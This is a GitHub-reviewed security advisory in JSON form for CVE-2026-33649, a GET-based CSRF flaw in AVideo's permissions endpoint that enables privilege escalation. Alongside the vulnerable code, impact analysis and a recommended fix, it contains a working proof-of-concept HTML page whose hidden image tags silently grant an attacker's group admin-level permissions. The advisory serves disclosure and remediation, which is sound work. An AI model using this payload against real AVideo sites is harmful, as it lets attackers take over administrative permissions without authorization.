{"id":"GHSA-g8x9-7mgh-7cvj","summary":"AVideo's GET-Based CSRF in setPermission.json.php Enables Privilege Escalation via Arbitrary Permission Modification","details":"## Summary\n\nThe `plugin/Permissions/setPermission.json.php` endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets `session.cookie_samesite=None` on session cookies. This allows an unauthenticated attacker to craft a page with `\u003cimg\u003e` tags that, when visited by an admin, silently grant arbitrary permissions to the attacker's user group — escalating the attacker to near-admin access.\n\n## Details\n\nThe root cause is a combination of three issues:\n\n**1. `$_REQUEST` used instead of `$_POST` (accepts GET parameters):**\n\n`plugin/Permissions/setPermission.json.php:14-24`:\n```php\n$intvalList = array('users_groups_id','plugins_id','type','isEnabled');\nforeach ($intvalList as $value) {\n    if($_REQUEST[$value]==='true'){\n        $_REQUEST[$value] = 1;\n    }else{\n        $_REQUEST[$value] = intval($_REQUEST[$value]);\n    }\n}\n\n$obj = new stdClass();\n$obj-\u003eid = Permissions::setPermission($_REQUEST['users_groups_id'], $_REQUEST['plugins_id'], $_REQUEST['type'], $_REQUEST['isEnabled']);\n```\n\nThe only authorization check is `User::isAdmin()` at line 10 — there is no CSRF token validation via `isGlobalTokenValid()`.\n\n**2. Session cookies set to `SameSite=None`:**\n\n`objects/include_config.php:134-141`:\n```php\nif ($isHTTPS) {\n    // SameSite=None is intentional: AVideo supports cross-origin iframe embedding\n    ini_set('session.cookie_samesite', 'None');\n    ini_set('session.cookie_secure', '1');\n}\n```\n\nThis means the admin's session cookie is sent on cross-origin requests, including those initiated by `\u003cimg src=\"...\"\u003e` tags on attacker-controlled pages.\n\n**3. The codebase's own security model requires CSRF tokens on state-mutating endpoints:**\n\nThe comment at `include_config.php:137-138` states: *\"All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).\"* Other endpoints like `saveSort.json.php` and `pluginImport.json.php` enforce `isGlobalTokenValid()`, but `setPermission.json.php` does not.\n\n**Execution flow:**\n1. Attacker hosts a page containing `\u003cimg src=\"https://target/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true\"\u003e`\n2. Admin visits the page (e.g., via link in forum, email, or embedded content)\n3. Browser issues GET request with the admin's `SameSite=None` session cookie\n4. `User::isAdmin()` passes because the request carries the admin's session\n5. `Permissions::setPermission()` grants PERMISSION_FULLACCESSVIDEOS (type=10) to user group 2\n6. Any user in group 2 (including the attacker) now has full video admin access\n\nThe `users_groups_id` values are small sequential integers (typically 1-3 for default groups) and can be trivially enumerated.\n\n## PoC\n\n**Step 1: Attacker creates a page granting multiple permissions to their user group (ID 2):**\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eInteresting Video\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eCheck out this video!\u003c/h1\u003e\n\u003c!-- Each img tag silently fires a GET request with admin's session cookie --\u003e\n\u003c!-- PERMISSION_FULLACCESSVIDEOS (type=10) --\u003e\n\u003cimg src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true' style='display:none'\u003e\n\u003c!-- PERMISSION_USERS (type=20) --\u003e\n\u003cimg src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=20&isEnabled=true' style='display:none'\u003e\n\u003c!-- PERMISSION_CAN_UPLOAD_VIDEOS (type=70) --\u003e\n\u003cimg src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=70&isEnabled=true' style='display:none'\u003e\n\u003c!-- PERMISSION_CAN_LIVESTREAM (type=80) --\u003e\n\u003cimg src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=80&isEnabled=true' style='display:none'\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 2: Attacker sends the link to an admin (social engineering, forum post, etc.)**\n\n**Step 3: When the admin loads the page, all four `\u003cimg\u003e` tags fire simultaneously.**\n\nExpected response for each request (visible in browser dev tools):\n```json\n{\"id\":\"1\"}\n```\n\n**Step 4: Verify — the attacker (a regular user in group 2) now has full video management, user management, upload, and livestream permissions without being an admin.**\n\n## Impact\n\n- **Privilege escalation:** A low-privileged user can gain near-admin permissions (full video access, user management, upload, livestream) by tricking an admin into loading a single page.\n- **No JavaScript required:** The attack uses only `\u003cimg\u003e` tags, bypassing Content Security Policy restrictions and working even in contexts where scripts are blocked (email clients, forum BBCode, etc.).\n- **Zero interaction beyond page load:** Unlike POST-based CSRF that requires form submission or JavaScript, this fires automatically when the page renders.\n- **Chaining:** Multiple permissions can be granted simultaneously by embedding multiple `\u003cimg\u003e` tags. An attacker can grant their group all available permission types in a single page load.\n- **Blast radius:** All users in the targeted group receive the escalated permissions, not just the attacker.\n\n## Recommended Fix\n\nIn `plugin/Permissions/setPermission.json.php`, change `$_REQUEST` to `$_POST` and add CSRF token validation:\n\n```php\n\u003c?php\n\nheader('Content-Type: application/json');\nif (!isset($global['systemRootPath'])) {\n    $configFile = '../../videos/configuration.php';\n    if (file_exists($configFile)) {\n        require_once $configFile;\n    }\n}\nif(!User::isAdmin()){\n    forbiddenPage(\"Not admin\");\n}\n\n// Enforce POST method and CSRF token\nif ($_SERVER['REQUEST_METHOD'] !== 'POST') {\n    die(json_encode(array('error' =\u003e 'POST method required')));\n}\nif (!isGlobalTokenValid()) {\n    die(json_encode(array('error' =\u003e 'Invalid CSRF token')));\n}\n\n$intvalList = array('users_groups_id','plugins_id','type','isEnabled');\nforeach ($intvalList as $value) {\n    if($_POST[$value]==='true'){\n        $_POST[$value] = 1;\n    }else{\n        $_POST[$value] = intval($_POST[$value]);\n    }\n}\n\n$obj = new stdClass();\n$obj-\u003eid = Permissions::setPermission($_POST['users_groups_id'], $_POST['plugins_id'], $_POST['type'], $_POST['isEnabled']);\n\ndie(json_encode($obj));\n```\n\nThe AJAX call in `getPermissionsFromPlugin.html.php:84-92` already uses `type: 'post'` but must also send the `globalToken` parameter in its data payload.","aliases":["CVE-2026-33649"],"modified":"2026-03-25T18:11:20.170676Z","published":"2026-03-25T17:48:17Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-03-25T17:48:17Z","nvd_published_at":"2026-03-23T19:16:41Z","cwe_ids":["CWE-352"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-g8x9-7mgh-7cvj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33649"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-g8x9-7mgh-7cvj/GHSA-g8x9-7mgh-7cvj.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"}]}